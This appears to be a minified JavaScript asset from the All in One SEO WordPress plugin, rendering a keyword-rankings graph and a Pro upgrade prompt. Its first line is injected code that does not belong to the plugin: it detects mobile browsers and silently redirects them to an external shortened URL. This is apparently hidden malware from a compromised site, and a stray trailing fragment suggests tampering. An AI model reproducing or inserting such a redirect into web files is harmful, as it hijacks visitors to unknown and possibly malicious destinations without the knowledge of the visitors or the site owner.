(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
import{p as g,b as w,c as x,h as $}from"./app-core.fa86622d.js";import{G as b}from"./Graph.19acca00.js";import{_ as f}from"./_plugin-vue_export-helper.eefbdd86.js";import{an as u,f as n,i as m,a0 as d,Q as _,R as h,v as s,ae as v,U as P,j as C,M as y}from"./vendor-vue-ui.ad4935f9.js";import{_ as a,a as U}from"./vendor-other.835e467b.js";import{C as T}from"./Blur.12264807.js";import{C as B}from"./Index.a51db00d.js";import{u as L}from"./License.e0ac91f1.js";const p="all-in-one-seo-pack",R={setup(){return{searchStatisticsStore:g()}},components:{Graph:b},props:{legendStyle:String},computed:{series(){if(!this.searchStatisticsStore.data?.keywords?.distribution||!this.searchStatisticsStore.data?.keywords?.distributionIntervals)return[];const o=this.searchStatisticsStore.data.keywords.distribution,e=this.searchStatisticsStore.data.keywords.distributionIntervals;return[{name:a("Top 3 Position",p),data:e.map(t=>({x:t.date,y:t.top3})),legend:{total:o.top3||"0"}},{name:a("4-10 Position",p),data:e.map(t=>({x:t.date,y:t.top10})),legend:{total:o.top10||"0"}},{name:a("11-50 Position",p),data:e.map(t=>({x:t.date,y:t.top50})),legend:{total:o.top50||"0"}},{name:a("50-100 Position",p),data:e.map(t=>({x:t.date,y:t.top100})),legend:{total:o.top100||"0"}}]}}},A={class:"aioseo-search-statistics-keywords-graph"};function G(o,e,t,r,i,c){const l=u("graph");return n(),m("div",A,[d(l,{series:c.series,loading:r.searchStatisticsStore.loading.keywords,"legend-style":t.legendStyle},null,8,["series","loading","legend-style"])])}const S=f(R,[["render",G]]),H={components:{CoreBlur:T,KeywordsGraph:S}};function M(o,e,t,r,i,c){const l=u("keywords-graph"),k=u("core-blur");return n(),_(k,null,{default:h(()=>[d(l,{"legend-style":"simple"})]),_:1})}const N=f(H,[["render",M]]),V={class:"aioseo-search-statistics-keyword-rankings"},D=["innerHTML"],I={__name:"Upgrade",setup(o){const e="all-in-one-seo-pack",t=w(),r={ctaHeader:U(a("%1$sUpgrade your %2$s %3$s%4$s plan to see Keyword Positions",e),`<a href="${x.getPricingUrl("search-statistics","search-statistics-upsell",null,t.isPro?"pricing":"liteUpgrade")}" target="_blank">`,"AIOSEO","Pro","</a>"),ctaDescription:a("Track how well keywords are ranking in search results over time based on their position and average CTR. This can help you understand the performance of keywords and identify any trends or fluctuations.",e)};return(i,c)=>(n(),m("div",V,[d(s(N)),d(s(B),{type:4},{"header-text":h(()=>[C("span",{innerHTML:r.ctaHeader},null,8,D)]),description:h(()=>[v(P(r.ctaDescription),1)]),_:1})]))}},J={__name:"KeywordsGraph",setup(o){const{shouldShowMain:e,shouldShowUpgrade:t}=L(),r=$(),i=g();return(c,l)=>(n(),m("div",null,[s(e)("search-statistics","keyword-rankings")||s(r).isUnlicensed||s(i).shouldShowSampleReports?(n(),_(s(S),{key:0,"legend-style":"simple"})):y("",!0),s(t)("search-statistics","keyword-rankings")&&!s(i).shouldShowSampleReports?(n(),_(s(I),{key:1})):y("",!0)]))}};export{J as _};
_};
